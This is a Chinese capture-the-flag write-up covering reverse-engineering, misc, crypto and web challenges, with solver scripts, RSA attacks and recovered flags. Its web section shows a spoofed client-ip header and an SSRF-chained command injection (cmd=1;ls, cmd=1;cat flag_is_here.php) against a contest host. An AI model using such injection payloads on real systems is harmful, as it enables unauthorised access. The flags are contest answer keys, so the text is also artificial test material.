2022 工大抗疫Wp

选手:Pvr1sC

这比赛怎么基本都是原题,唯一的帮助可能就是学到点密码

Re

crackme

很简单,反编译

int __cdecl main(int argc, const char **argv, const char **envp)
{
char flag[42]; // [rsp+20h] [rbp-60h] BYREF
int a[42]; // [rsp+50h] [rbp-30h] BYREF
int b[42]; // [rsp+100h] [rbp+80h]
int i_0; // [rsp+1B4h] [rbp+134h]
int i; // [rsp+1B8h] [rbp+138h]
int good; // [rsp+1BCh] [rbp+13Ch]

_main();
qmemcpy(a, &unk_403040, sizeof(a));
puts("input flag");
scanf("%s", flag);
puts(flag);
for ( i = 0; i <= 41; ++i )
b[i] = i ^ flag[i];
for ( i_0 = 0; i_0 <= 41; ++i_0 )
{
if ( a[i_0] != b[i_0] )
{
good = 0;
break;
}
good = 1;
}
if ( good == 1 )
printf("good~");
else
printf("error!");
return 0;
}

脚本

s = [0x66, 0x6D, 0x63, 0x64, 0x7F, 0x64, 0x32, 0x36, 0x6A, 0x6C, 0x3E, 0x3D, 0x39, 0x20, 0x6F, 0x3A, 0x20, 0x77, 0x3F, 0x27, 0x25,
0x27, 0x22, 0x3A, 0x7A, 0x2E, 0x78, 0x7A, 0x31, 0x2F, 0x29, 0x29, 0x16, 0x40, 0x44, 0x45, 0x12, 0x47, 0x47, 0x41, 0x1A, 0x54]
for i in range(len(s)):
print(chr(s[i] ^ i), end="")

flag{a41be465-a50f-4124-b7ba-2766aff6baf2}

ez_py

运行文件,发现magic number error ,进行修改

pyc混淆

修改一下文件内容

1

拿工具uncompyle6反编译

# uncompyle6 version 3.7.5.dev0
# Python bytecode 2.7 (62211)
# Decompiled from: Python 2.7.18 (v2.7.18:8d21aa21f2, Apr 20 2020, 13:25:05) [MSC v.1500 64 bit (AMD64)]
# Embedded file name: /Users/pumpkin9/Documents/workspcae/CTF/python/exp.py
# Compiled at: 2021-09-15 10:31:41
import sys
tmp = [100, 5, 87, 2, 86, 0, 3, 84, 80, 2, 87, 80, 80, 86, 85,
2, 85, 87, 7, 0, 87, 4, 3, 3, 5, 84, 84, 11, 81, 5, 6, 13]


def encode(enc, length):
if length == 0:
return 0
else:
for i in range(length):
enc[(i + length)] ^= enc[i]

return encode(enc, length >> 1)


flag = '?'
if len(flag) != 32:
exit(0)
enc = map(ord, flag)
encode(enc, len(enc) >> 1)
if enc == tmp:
print 'yes,flag is flag{input}!'
else:
print 'wrong.try again!'
# okay decompiling .\exp.pyc

写脚本

from operator import le


tmp = [100, 5, 87, 2, 86, 0, 3, 84, 80, 2, 87, 80, 80, 86, 85,
2, 85, 87, 7, 0, 87, 4, 3, 3, 5, 84, 84, 11, 81, 5, 6, 13]
s = [1, 2, 4, 8, 16]
# for i in range(length):
# enc[(i + length)] ^= enc[i]

# return encode(enc, length >> 1)
for i in range(len(s)):
for j in range(s[i]):
tmp[j+s[i]] ^= tmp[j]
for i in range(len(tmp)):
print(chr(tmp[i]), end="")
# da3c2a074cd3b7e5164cee34170832c8

flag{da3c2a074cd3b7e5164cee34170832c8}

SuperFlat

有输出文件,感觉简单了

反编译发现基本都是mov,是movfuscator混淆

去mov混淆工具,好像没啥用。还是动调试试吧

大概看了一下,发现关键

byte_805114A 和output文件内容一致,交叉引用进一步查看

image-20220119005302668

经过分析伪代码如下

for i in range(42):
sbox[flag[i]] ^ unknown2[i] == unknown1[i]
sbox = [0x63, 0x7C, 0x77, 0x7B, 0xF2, 0x6B, 0x6F, 0xC5, 0x30, 0x01, 0x67, 0x2B, 0xFE, 0xD7, 0xAB, 0x76, 0xCA, 0x82, 0xC9, 0x7D, 0xFA, 0x59, 0x47, 0xF0, 0xAD, 0xD4, 0xA2, 0xAF, 0x9C, 0xA4, 0x72, 0xC0, 0xB7, 0xFD, 0x93, 0x26, 0x36, 0x3F, 0xF7, 0xCC, 0x34, 0xA5, 0xE5, 0xF1, 0x71, 0xD8, 0x31, 0x15, 0x04, 0xC7, 0x23, 0xC3, 0x18, 0x96, 0x05, 0x9A, 0x07, 0x12, 0x80, 0xE2, 0xEB, 0x27, 0xB2, 0x75, 0x09, 0x83, 0x2C, 0x1A, 0x1B, 0x6E, 0x5A, 0xA0, 0x52, 0x3B, 0xD6, 0xB3, 0x29, 0xE3, 0x2F, 0x84, 0x53, 0xD1, 0x00, 0xED, 0x20, 0xFC, 0xB1, 0x5B, 0x6A, 0xCB, 0xBE, 0x39, 0x4A, 0x4C, 0x58, 0xCF, 0xD0, 0xEF, 0xAA, 0xFB, 0x43, 0x4D, 0x33, 0x85, 0x45, 0xF9, 0x02, 0x7F, 0x50, 0x3C, 0x9F, 0xA8, 0x51, 0xA3, 0x40, 0x8F, 0x92, 0x9D, 0x38, 0xF5, 0xBC, 0xB6, 0xDA, 0x21, 0x10, 0xFF, 0xF3, 0xD2, 0xCD, 0x0C, 0x13, 0xEC, 0x5F, 0x97, 0x44, 0x17, 0xC4, 0xA7, 0x7E, 0x3D, 0x64, 0x5D, 0x19, 0x73, 0x60, 0x81, 0x4F, 0xDC, 0x22, 0x2A, 0x90, 0x88, 0x46, 0xEE, 0xB8, 0x14, 0xDE, 0x5E, 0x0B, 0xDB, 0xE0, 0x32, 0x3A, 0x0A, 0x49, 0x06, 0x24, 0x5C, 0xC2, 0xD3, 0xAC, 0x62, 0x91, 0x95, 0xE4, 0x79, 0xE7, 0xC8, 0x37, 0x6D, 0x8D, 0xD5, 0x4E, 0xA9, 0x6C, 0x56, 0xF4, 0xEA, 0x65, 0x7A, 0xAE, 0x08, 0xBA, 0x78, 0x25, 0x2E, 0x1C, 0xA6, 0xB4, 0xC6, 0xE8, 0xDD, 0x74, 0x1F, 0x4B, 0xBD, 0x8B, 0x8A, 0x70, 0x3E, 0xB5, 0x66, 0x48, 0x03, 0xF6, 0x0E, 0x61, 0x35, 0x57, 0xB9, 0x86, 0xC1, 0x1D, 0x9E, 0xE1, 0xF8, 0x98, 0x11, 0x69, 0xD9, 0x8E, 0x94, 0x9B, 0x1E, 0x87, 0xE9, 0xCE, 0x55, 0x28, 0xDF, 0x8C, 0xA1, 0x89, 0x0D, 0xBF, 0xE6, 0x42, 0x68, 0x41, 0x99, 0x2D, 0x0F, 0xB0, 0x54, 0xBB, 0x16]
key = [0x44, 0xCA, 0x41, 0xBB, 0x8D, 0x29, 0x1F, 0xB0, 0x22, 0x9A, 0x0D, 0x50, 0xC8, 0xAC, 0x27, 0x36, 0x87, 0xC3, 0x25, 0xAE, 0xD7, 0x94, 0x06, 0xB9, 0xE6, 0xBF, 0xC7, 0x32, 0x55, 0x7A, 0x72, 0x92, 0xF8, 0xE0, 0x42, 0xF8, 0x40, 0x8E, 0x51, 0x99, 0x39, 0x8D]
enc = [0x77, 0x9A, 0xAE, 0x3E, 0xAC, 0x6A, 0x1B, 0xB5, 0x11, 0x9E, 0xA7, 0xAB, 0x33, 0x74, 0x35, 0xF5, 0xCA, 0xC7, 0xFD, 0xBC, 0x2C, 0x02, 0xAC, 0x61, 0x21, 0xBA, 0x00, 0x7F, 0x8D, 0x37, 0xB5, 0x8A, 0xFD, 0xF8, 0x85, 0x62, 0x45, 0xCD, 0x92, 0x8B, 0xAF, 0x72]
flag = [0] * 42
for i in range(42):
flag[i] = sbox.index(key[i] ^ enc[i])
print(bytes(flag))
# b'flag{d06f0bcc-93e0-9c5b-161e-e1464176d395}'

flag{d06f0bcc-93e0-9c5b-161e-e1464176d395}

pyc

拿网上工具跑

#!/usr/bin/env python
# visit https://tool.lu/pyc/ for more information
import hashlib
s = input()
if len(s) != 72:
print('wrong')
a1 = set()
a2 = set()
a3 = set()
a4 = [0x9E3779B9L,0x9E3779B9L]
a4[0] = int(s[i:i + 9])
a1.add(s[i:i + 9])
# continue
if len(a1) == 8 and len(a2) == 1 and len(a3) == 1 and s.count('9') == 0:
print(f'''flag{{{hashlib.md5(s.encode('ascii')).hexdigest()}}}''')
return None
[ s.count(d) for i in range(0, len(s), 9) if int(s[i:i + 9]) >= a4[0] for d in '012345678' ](print)
return None

明显不对,看来得改

将pyc改为机器码

import marshal
import dis
fp = open("./pyc.pyc", 'rb')
fp.seek(16)
co = marshal.load(fp)
dis.dis(co)

将机器码手动改为

import hashlib
s = input()
if len(s) == 72:
a1 = set()
a2 = set()
a3 = set()
a4 = [0x9e3779b9, 0x9e3779b9]
for d in "012345678":
a3.add(s.count(d))
for i in range(0, len(s), 9):
for l in range(0, 15, 2):
a2.add(sum((int(s[i + j:i + j + 1]) for j in [int(v) for v in str(a4[1] ^ 64201746666225664 ^ 3446703994)[l:l + 3]])))
if int(s[i:i + 9]) < a4[0]: # 每次比上次的小
a4[0] = int(s[i:i + 9])
a1.add(s[i:i + 9])
if len(a1) == 8 and len(a2) == 1 and len(a3) == 1 and s.count('9') == 0:
print('flag{' + hashlib.md5(s.encode('ascii')).hexdigest() + "}")
exit()
print("wrong")

看不出来啥的东西,找特征:

  • 输入字符区间0~8 // len(a1) == 8 s.count(‘9’) == 0
  • 输入长度72位 // len(s) == 72
  • 9位一组,每组又分8次取索引对应值求和
  • 每一组都要比前一组的值小
  • 每次sum的和为唯一值 len(a2) == 1

看不出来没关系,

分析一下核心点sum究竟在做些什么,把a4运算的结果[l:l+3]打印出来,分析

# a4[1] ^ 64201746666225664 ^ 3446703994 = 64201748063452867

s = [6, 4, 2, 0, 1, 7, 4, 8, 0, 6, 3, 4, 5, 2, 8, 6, 7]
for i in range(0,72,9):
for l in range(0,15,2):
print(s[l:l+3])

输出:截取部分

[6, 4, 2]

[2, 0, 1]
[1, 7, 4]
[4, 8, 0]
[0, 6, 3]
[3, 4, 5]
[5, 2, 8]
[8, 6, 7]
[6, 4, 2]

len(a2) == 1然后根据这个特征是行列斜对角和都相等,然后有个专门的名称,“三阶幻方”,开始以为是数独

把结果都写出来,整体值-1排序拼接,从大到小

723048561

705246381

561048723

507642183

381246705

327840165

183642507

165840327

把上面的数字拼接起来然后md5就是flag

723048561705246381561048723507642183381246705327840165183642507165840327

misc

签到题

flag{study_hard_and_make_progress_every_day}

你悟了吗

先天八卦数:乾(1)、兑(2)、离(3)、震(4)、巽(5)、坎(6)、艮(7)、坤(8)

后天八卦数:乾(6)、坎(1)、艮(8)、震(3)、巽(4)、离(9)、坤(2)、兑(7)

替换成数字 ,用先天卦

脚本


import binascii

int_dec = '4257725242786652413446544234525726737582417435812434317726145566413445742613757326541253257722554174257641744686'
int_dec = list(int_dec)
for i in range(0, len(int_dec)):
int_dec[i] = str(int(int_dec[i]) - 1)
int_oct = int(''.join(int_dec))
int_dec = int(str(int_oct), 8)
int_hex = hex(int_dec)
print (binascii.a2b_hex(int_hex[2:]).decode("utf-8"))
# flag{aa7ce8f7-9c58-4649-a734-260b3bdc35c7}

miao

用steghide提取隐藏文件,(这实属想不到,工具试出来的)

$.\steghide.exe info C:\Users\86177\Desktop\CTF\工大抗疫\Misc\miao\miao.wav
"miao.wav":
format: wave audio, PCM encoding
capacity: 93.7 KB
Try to get information about embedded data ? (y/n) y
Enter passphrase:
embedded file "flag":
size: 42.0 Byte
encrypted: rijndael-128, cbc
compressed: yes
$ steghide.exe -sf C:\Users\86177\Desktop\CTF\工大抗疫\Misc\miao\miao.wav
steghide: unknown command "-sf".
steghide: type "steghide --help" for help.
$ .\steghide.exe extract -sf C:\Users\86177\Desktop\CTF\工大抗疫\Misc\miao\miao.wav
Enter passphrase:
wrote extracted data to "flag".

flag{0f83ca08-c51c-4574-b2cd-bbdd786ae807}

brokenpassword

使用字典爆破,密码 american

解压出flag

flag{5BAF2AB2-3C15-4B6D-9BC4-51BCC27B718E}

i_am_scriptkids

base解密

分别有16 32 64 85

手动解一下,三十次

import base64
base =open('./base.txt','rb').read()
file=open('flag.txt','wb+')
f=base64.b16decode(base)
# f=base64.b32decode(base)
# f=base64.b64decode(base)
# f=base64.b85decode(base)
file.write(f)

得到

flag{90672c52-200d-11ec-bdc8-33c511816e47}

qrcode

拼图,拼了半小时,555,然后扫码就出了,没什么好说的

flag{b9f32f7f-f30c-408f-b0bd-64c03a60e915}

Crypto

simpleCrypto

维基尼亚密码

There are moments in life when you miss someone so much that you just want to pick them from your dreams and hug them for real! Dream what you want to dream;go where you want to go;be what you want to be,because you have only one life and one chance to do all the things you want to do;key is zheshimima

解压密码zheshimima,解压出flag

flag{5a851c56-75a3-4899-911b-0bb48bc31a52}

ezrsa

分解n

fac: factoring 60451215053202473004940952621742735161658776366659855277231745089406139921920247699935855664424690715827311751776376765039253720695107034417349327247413785321282310515940197744035889015386751355695663945883766755254889478550954910913617031495509031272479126330010210073745554866695555903062215643355046569531
fac: using pretesting plan: normal
fac: no tune info: using qs/gnfs crossover of 95 digits
div: primes less than 10000
fmt: 1000000 iterations
Total factoring time = 0.6655 seconds


***factors found***

P154 = 7775037945450972074306550333494120484720176686937970436452427912326505124727011077406894038014608345834514099931510587280606879496551971589714415968674853
P154 = 7775037945450972074306550333494120484720176686937970436452427912326505124727011077406894038014608345834514099931510587280606879496551971589714415968674527

ans = 1

中国剩余定律

低加密指数广播攻击

import gmpy2
import libnum
n = 60451215053202473004940952621742735161658776366659855277231745089406139921920247699935855664424690715827311751776376765039253720695107034417349327247413785321282310515940197744035889015386751355695663945883766755254889478550954910913617031495509031272479126330010210073745554866695555903062215643355046569531
e = 65537
c1 = 5860001067333912869348276317959806331354930830756907188134520598132033029685961651079042255479216212218840727162091566460728252274773922656346335208185716
c2 = 233846791877558838234653540832234409293133184826445436186569970711741339843931083266127545694840179770763904903248540633847534630328748650704882388519907
p= 7775037945450972074306550333494120484720176686937970436452427912326505124727011077406894038014608345834514099931510587280606879496551971589714415968674853
q = 7775037945450972074306550333494120484720176686937970436452427912326505124727011077406894038014608345834514099931510587280606879496551971589714415968674527
def op(x):
res = 1
for i in x:
res *= i
return res

def CRT(m, a):
assert (len(m) == len(a))
M = op(m)
sum = 0
for m, a in zip(m, a):
Mi = M // m
ti = gmpy2.invert(Mi, m)
sum += a * ti * Mi
return sum % M
def GCRT(m, a):
assert (len(m) == len(a))
curm, cura = m[0], a[0]
for m, a in zip(m[1:], a[1:]):
d = gmpy2.gcd(curm, m)
c = a - cura
assert (c % d == 0)
K = c // d * gmpy2.invert(curm // d, m // d)
cura += curm * K
curm = curm * m // d
return cura % curm
n1=[p,q]
c=[c1,c2]
c=CRT(n1,c)
phi = (p-1)*(q-1)
d=gmpy2.invert(e,phi)
m=pow(c,d,n)
print(libnum.n2s(int(m)))

Crypto1

from libnum import n2s, s2n
import gmpy2
#扩展欧几里得算法
n=96722669749951212913756678234358651184134068407812470434435916603156818917545841439779031943800634250032106764154804309935557678512858630048212204696471487762160744924838010746445510979202735123140536599975731157563069594497905809587369126155476201977830809090473053692189364335223367147692962090288185113654598050169422517553085833257142179937154768657039042632343562454149914801329414293361879935460883633117988279426277638667508115319494914342600199690237441851088350726869553691992122821267990343643644523989413546160765907845604067031798179773495433134648132709349683621175243064236059479837244518879574919017301667066698329442453248971033564328161407342561250703168154214939772631586519304164853651
c1=66738113223447221430009739914948303261002811553064307532926788024694319846909340806982708347904688420671656410554852340732395818007063648478593071665936277836988050526188064146099581039172667768507259894363266310279948729552649788129953872816024709989260060633285022337107662251504618369065597018450927041881262189584381809106166042131798086882746986243210896131714227544235843922107304728228549916171484199199612243776469423359120753888158616202476325705252715374109256790899923317253605743212561589807498078080069511918514647943399566630574192829185904868376879831247378819590121286186417825591746918495311372015707767009078229770450338244309693800180936418605756818618708750868807720566288044943952844
c2=88330949146651042517337653740810385187361689012501792799900873279978736035790659211001047937337215121948527017022967642906632732136313750277237761910710915459733551421653259986088596828049455592613225962133163865584111828012197112528645520371075411167515961263199635568730334149461654340122507778194391601956023625429418297129608911450200836427221311442323768087256798964844787274408624548839536279704401007441198390922847003287643673183230633728790263593607595427088882078742699027563601046309308221108391158848644822374865676056755011459026909057983805069264236657111115914570543103494726584296335044897998794251877515750910330960179539465060133592380802344398038815679281272098815068185059127533110716
e1=49
e2=35
_,s1,s2= gmpy2.gcdext(e1,e2)
m1 = (pow(c1, s1, n) * pow(c2, s2, n)) % n
print(m1)
x=gmpy2.gcd(e1,e2)
print(x)
k=0
while 1:
m11 = m1+k*n
m,s = gmpy2.iroot(m11,x)
if s:
print(n2s(m))
break
k+=1

flag{8ac9f9e3-82ba-ff7e-ac7b-235a02d891ef}

Crypto2

import libnum
import gmpy2


n1=20663949646446787716947370247427064802032290773674573417491154934657966734874241036307633567695175131014840617208051931753476223149652427133485160771068994073566431652969243962290116898345337189704974833817335135391974497754670322430159624252007005736522065638860351992074099453212550475552692645688800084354832716662142860413158369020005830095049988807931794736876563293916525328174812726514626029103506607813186690909585870115364600969148482617083817273910020722354923244093624032174432568413187131385994452769295894606345768596899824635672699945050103814681553981019917552667794514804359500108947102234376726009329
n2=23260834024376640092536888922041147168387702014814910549469730354688848760379274203088716649609675449936234732528778557041701524981200368996310064584479657042098426164366286670115392015865853892816983885530312074073396422301009513106258655315791720535737587913264728919869055970993613641008348186263870234072422880033882864603438907070864271470483691729705421547143623305055532339107777314310976947392833395180922324243244784018964736826235018388498516438612962123562977736924674510730898077787055367234786519915374446506561992135856904927351307275140543635152771670410211235702283822782412971646092584646758107766061
c1=20522772249591436865905796103232542494211695376973377722875606678999899690405480809231671346489821878050354380591999935960795888483664473952207298504196203830543208477229162177648586683957831016664569242538775928728009699300145355818417233892295367828930893733774091897666206696635744262884229680137381841581000794056156842812583057103472764486608022028638288161256424936523444974815727764620634174112474612238992061186937613171878635903455700636894570504376153482600057655480654731180740098435209814585459376319844315388048636156465832997913885636776523217188604040216732137108997444787157007665652718553013424347649
c2=18715009944766815149492560645051626329204114049927707292306481018724323433701970253541495090244787378826569549885480491764057526828531429033378143426272248940256432423939977805246742287886281853484696625486522535042794403288199393432900065504766428665320682811338887618389589263597065738414638013423594446322359052784842619755053094028050245325637698678444632860097510081832077842610716042473697478416213915805481704537884611126069907812621750817901278803326304784057145916721693930579344441283586458621033705530309835431139751025999089707480829034535026967779441379062426254038310930863215188888662357133997908688736
e=65537
#求最大公约数
q=gmpy2.gcd(n1,n2)
p1=n1//q
p2 = n2//q
phi_n=(q-1)*(p1-1)
phi_n1=(q-1)*(p2-1)
#求逆元d
d1=libnum.invmod(e,phi_n)
d2=libnum.invmod(e,phi_n1)
m=pow(c1,d1,n1)
n=pow(c2,d2,n2)
#数字转字节,转字符串
print(libnum.n2s(int(m)).decode(),end="")
print(libnum.n2s(int(n)).decode())
# flag{afb1e6f2-9acb-efde-ad7c-246a99d8f1fd}

flag{afb1e6f2-9acb-efde-ad7c-246a99d8f1fd}

Web

web1

抓包发

client-ip: 127.0.0.1

flag{ed59cf0f-c1e1-49e1-abea-8309f67647ab}

web2

点击访问该首页,发现存在 ?url 跳转网址

访问flag.php发现要ping命令执行,但需要本地访问,试了X-Forwarded-For 还有client-ip: 127.0.0.1都不能,

想起来上面的URL任意访问

然后是多条命令执行用;隔开

http://eci-2ze1odj66lcxjp6jkpj6.cloudeci1.ichunqiu.com/?url=127.0.0.1/flag.php?cmd=1;ls

flag.php flag_is_here.php index.php

查看flag_is_here.php 发现flag

http://eci-2ze1odj66lcxjp6jkpj6.cloudeci1.ichunqiu.com/?url=127.0.0.1/flag.php?cmd=1;cat%20flag_is_here.php

flag{70a3b5fc-2f50-418f-9c1d-af7f25c347ca}